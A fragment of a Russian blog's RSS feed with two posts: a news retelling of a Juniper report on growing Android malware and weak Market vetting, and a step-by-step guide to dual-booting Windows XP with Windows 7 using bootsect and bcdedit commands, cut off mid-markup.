&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;font size=&quot;3&quot;&gt;В блоге Junioer объясняют:&lt;/font&gt;&lt;span style=&quot;font-size: medium; &quot;&gt;Сейчас, похоже, все, что тебе нужно, это аккаунт разработчика, который относительно легко сделать анонимным. Плати 25%, и сможешь публиковать любые приложения. Поскольку отсутствует предварительный контроль, никто не проверяет, действительно ли твое приложение делает то, что заявлено. И абсолютное большинство владельцев смартфонов доверяют описанию, которое решил включить на страницу с приложением его разработчик.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-size: medium; &quot;&gt;Если поступают жалобы, то приложение могут удалить с Android Market, но до этого зловред способен ударить по сотням, если не по тысячам жертв. Вдобавок к возросшему числу зловредов для Android (которое, по заявлению Juniper, продолжает расти в геометрической прогрессии), наблюдается также и их усовершенствование и усложнение. Сейчас набирает популярность тактика установки бэкдора на подверженное атаке устройство, который позже способен установить на смартфон вторичные заражающие элементы или свои обновления, как объяснили в Juniper:&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;img src=&quot;https://russia-android.ucoz.ru/juniper_06-250x1023.jpg&quot; alt=&quot;&quot; align=&quot;left&quot;&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;В начале весны мы обнаружили зловред, который был способен
использовать несколько уязвимостей платформы, чтобы получить root-доступ к&amp;nbsp; устройству, работая в фоновом режиме, а потом
установить дополнительные пакеты, чтобы расширить свою функциональность.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;На данный момент почти у каждого образца вредоносного ПО для
платформы есть такая способность. Лишь потому, что все те же уязвимости
остаются в 90% всех устройств с Android. Атакующим об этом известно и они
пытаются заполучить привилегии на устройствах, чтобы иметь доступ к данным и
службам, которые в ином случае были бы недоступны.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Более половины (около 55%) зловредов для Android обладают
также и шпионской функциональностью. ПО, которое шлет текстовые сообщения на
премиум номера (при этом позволяя кибер-мошенникам собирать комиссию) также
очень распространены. Большинство вредоносных приложений выбирают своей целью
контакты, местоположение и другую частную информацию пользователей.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Разговоры о геометрическом росте количества зловредов
вызывают тревогу, причем обоснованную, но они должны рассматриваться в
контексте того, что этот рост начался с мизерного количества, которое меркнут
по сравнению с числом вредоносного ПО для Windows. Специалисты из фирмы по
обеспечению мобильной безопасности Lookout прикинули, что число мобильных
зловредов увеличилось почти до тысячи за последние четыре месяца. А количество
зловредов для Windows уже превысило отметку в 5 000 000 или выше.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;В Juniper утверждают, что те люди, которые раньше писали
вредоносное ПО для устройств с Windows и Symbian переключились на Android после
того, как платформа Google набрала популярность. В результате этого и
увеличился поток вирусов для Android. В то же самое время malware для iOS
ограничивается одним червем и схожим банковским трояном. Причем подвержены им
были только разблокированные устройства. Политика Apple в отношении приложений,
а не присущие платформам черты, объясняет тот факт, что зловреды для Android
процветают, а на iOS они практически отсутствуют.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Главная причина эпидемии на платформе Android заключается в
том, что для контроля своих магазинов Google и Apple применяют совершенно
разные подходы. Модель открытых приложений Android, в которой отсутствует
подпись кода и проверка приложений, что требует Apple, позволяют атакующим с
легкостью распространять своих зловредов.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Известному исследователю Чарли Миллеру удалось загрузить
вредоносное приложение в Apple App Store, так что Apple тоже не застрахована от
проблем в этой области, заверяет Juniper. Однако, в случае с Android не
существует вообще никаких ограничений. В Juniper подвели итог:&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;На Android Market до сих пор нет никакого процесса
предварительной проверки, которая усложнила бы задачу атакующим. Это значит,
что Android так и останется целью создателей вредоносного ПО со всего мира.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Отчет Juniper о мобильных угрозах можно скачать тут
(требуется регистрация). Комментарии компании о ее главных находках вместе с
инфографикой можно найти здесь.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font size=&quot;3&quot;&gt;Некоторые исследователи безопасности уже назвали Android
вторым Windows за те проблемы безопасности, которые скапливаются вокруг
платформы. Некоторые операционные системы привлекают создателей зловредов, а
другие от них почти не страдают по причинам, никак не связанным с присущими
этим платформам чертами. Здесь играют большую роль широкое распространение,
знание среди создателей вредоносного ПО принципов написания под конкретную
платформу, документация и инструменты для создания вирусов.&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;o:p&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;span style=&quot;font-family: &apos;Times New Roman&apos;; &quot;&gt;&lt;font size=&quot;3&quot;&gt;У Android все это есть, как было и в случае Windows. Пока не будут
усвоены уроки прошлого, и усвоены как можно быстрее, мы рискуем повторить
историю компьютеров с Windows уже на смартфонах.&lt;/font&gt;&lt;/span&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/potok_zlovredov_dlja_android_vinovat_market_i_ne_tolko/2012-01-01-18</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/potok_zlovredov_dlja_android_vinovat_market_i_ne_tolko/2012-01-01-18</guid>
			<pubDate>Sun, 01 Jan 2012 14:59:00 GMT</pubDate>
		</item>
		<item>
			<title>Установка Windows XP с установленной Windows 7 в качестве второй системы</title>
			<description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Всем добрый день. Не в первый раз уже столкнулся с проблемой, что на компьютер, с уже установленной виндовс 7 необходимо поставить Windows XP. Причин может быть много, и реализаций тоже. В том числе установка на виртуальную машину. Поискав по форумам, нашел хороший сайт, где все детально расписано. Чтобы материал для себя не потерять, публикую эту статью у себя. Статья написана для ноутов...но одинаково подходит и для настольных ПК.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Введение&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В предыдущем материале (Установка Windows 7 или Windows Vista второй системой на ноутбук с Windows XP) была описана процедура установки двух операционных систем на ноутбук. Сначала н...</description>
			<content:encoded>&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Всем добрый день. Не в первый раз уже столкнулся с проблемой, что на компьютер, с уже установленной виндовс 7 необходимо поставить Windows XP. Причин может быть много, и реализаций тоже. В том числе установка на виртуальную машину. Поискав по форумам, нашел хороший сайт, где все детально расписано. Чтобы материал для себя не потерять, публикую эту статью у себя. Статья написана для ноутов...но одинаково подходит и для настольных ПК.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Введение&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В предыдущем материале (Установка Windows 7 или Windows Vista второй системой на ноутбук с Windows XP) была описана процедура установки двух операционных систем на ноутбук. Сначала на диск C:&amp;#92; устанавливалась Windows XP, а на диск D:&amp;#92; - Windows 7 или Windows Vista. В этой же статье будет описан случай, когда Windows 7 или Windows Vista устанавливается на диск C:&amp;#92;, а Windows XP - на диск D:&amp;#92;. Также будет описано как удалить Windows XP с ноутбука.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Казалось бы, что порядок установки особого значения не имеет, но это не так. В случае, когда Windows XP устанавливается второй, прийдется дополнительно восстанавливать загрузчик Windows 7 или Windows Vista.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Как и в предыдущем материале процедуру установки двух операционных систем на ноутбук можно условно разделить на такие этапы:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Установка Windows 7 или Windows Vista на диск C:&amp;#92;;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Установка Windows XP на диск D:&amp;#92;;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Восстановление загрузчика и добавление Windows XP в список загрузки.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Важное замечание: в качестве альтернативы этому методу можно рассмотреть установку Windows XP на виртуальную машину. Данная процедура описана здесь: Установка и запуск Windows XP в среде Windows 7, Windows Vista или другой операционной системы.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;1. Установка Windows Vista или Windows 7 на диск C:&amp;#92;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Подробно на данном этапе останавливаться не буду. Он хорошо описан в этих материалах: Установка Windows Vista, Установка Windows 7 и Установка Windows 7 и Windows Vista с USB-флешки. Windows устанавливается на раздел C:&amp;#92;. Перед установкой его желательно форматировать. Установка абсолютно стандартная. Если на ноутбуке уже предустановленна Windows 7 или Windows Vista, то их удалять не надо.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Важное замечание: если на вашем ноутбуке или компьютере предустановленна Windows Vista или Windows 7, а также есть скрытые разделы для восстановления системы до состояния на момент покупки, то вполне возможно, что система восстановления перестанет работать. Это связано с тем, что для работы системы восстановления зачастую нужна оригинальная MBR (небольшая загрузочная запись, размещается в нулевом секторе винчестера). При установке системы она зачастую затирается. Чтобы сохранить работоспособность системы восстановления, нужно сначала скопировать оригинальную MBR в файл, а потом в конце ее восстановить обратно с того файла. В этом случае заводская система будет восстанавливаться при нажатии на определенные кнопки при включении ноутбука. Для копирования и восстановления оригинальной MBR рекомендую утилиту MBRWRBIN.exe. Подробней о ней написано в этом материале: Восстановление MBR. Также для копирования и восстановления MBR можно использовать утилиту Comodo Backup. Описание как с ней работать вы можете найти в этом материале: Резервное копирование важной информации и настроек с помощью утилиты Comodo Backup.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;2. Установка Windows XP на диск D:&amp;#92;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;На данном этапе также останавливаться не вижу смысла. Процедура установки Windows XP описана в этих материалах: Упрощенная установка Windows XP, Обычная установка Windows XP и Установка Windows XP с флешки или карты памяти.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В нашем случае система будет устанавливаться на диск D:&amp;#92;:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/15670632.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s15670632.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Дальше все как обычно. После установки Windows XP она должна загружаться. Чтобы можно было загружать и Windows 7 или Windows Vista, нужно восстановить загрузчик.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;3. Восстановление загрузчика и изменение списка загрузки.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Вот здесь начинается самое интересное. При установке Windows 7 или Windows Vista на раздел C:&amp;#92;, на нео прописывался загрузчик и перезаписывалась запись MBR. При последующей установке Windows XP этот загрузчик вместе с MBR по сути был перезаписан загрузчиком Windows XP. Следовательно, Windows 7 или Windows Vista на разделе C:&amp;#92; загружаться не будут.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Чтобы исправить эту ситуацию, нужно сначала восстановить загрузчик Windows 7 или Windows Vista (у этих двух систем он по сути один и тот же) на диске C:&amp;#92;. Потом нужно добавить в тот загрузчик пункт о Windows XP, чтобы можно было выбирать какую систему загружать при загрузке.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Для этого необходимы две утилиты: bootsect.exe и bcdedit.exe (Скачать архив с этими утилитами можно по этим ссылкам: скачать / скачать)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Копируем скачанный архив на диск C:&amp;#92;, запускаем и нажимаем Extract:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/98439222.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s98439222.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В итоге на диске C:&amp;#92; должна появится папка FixBoot с таким содержанием:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG3--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/38894560.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s38894560.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG3--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Теперь запускаем Командную строку:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG4--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/86404606.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s86404606.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG4--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Сначала нужно восстановить загрузчик Windows Vista или Windows 7. Для этого вводим команду c:&amp;#92;FixBoot&amp;#92;bootsect.exe /NT60 ALL и нажимаем Enter:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG5--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/78439679.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s78439679.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG5--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Теперь стоит добавить пункт с Windows XP в меню загрузки. Вводим команду C:&amp;#92;FixBoot&amp;#92;bcdedit.exe /create {ntldr} /d &quot;Windows XP&quot; (Windows XP - это название пункта меню). Нажимаем Enter:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG6--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/57111827.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s57111827.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG6--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Теперь указываем где расположен загрузчик Windows XP. Несмотря на то, что Windows XP устанавливалась на раздел D:&amp;#92;, ее загрузчик (ntldr) размещен на диске C:&amp;#92;. Вводим команду C:&amp;#92;FixBoot&amp;#92;bcdedit.exe /set {ntldr} device partition=C: и нажимаем Enter:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG7--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/39044096.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s39044096.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG7--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Указываем имя загрузчика. Вводим команду C:&amp;#92;FixBoot&amp;#92;bcdedit.exe /set {ntldr} path &amp;#92;ntldr и нажимаем Enter:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG8--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/96102497.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s96102497.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG8--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Добавляем пункт загрузочного меню с Windows XP в конец списка. Вводим команду C:&amp;#92;FixBoot&amp;#92;bcdedit.exe /displayorder {ntldr} -addlast и нажимаем Enter:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG9--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/71108364.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s71108364.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG9--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 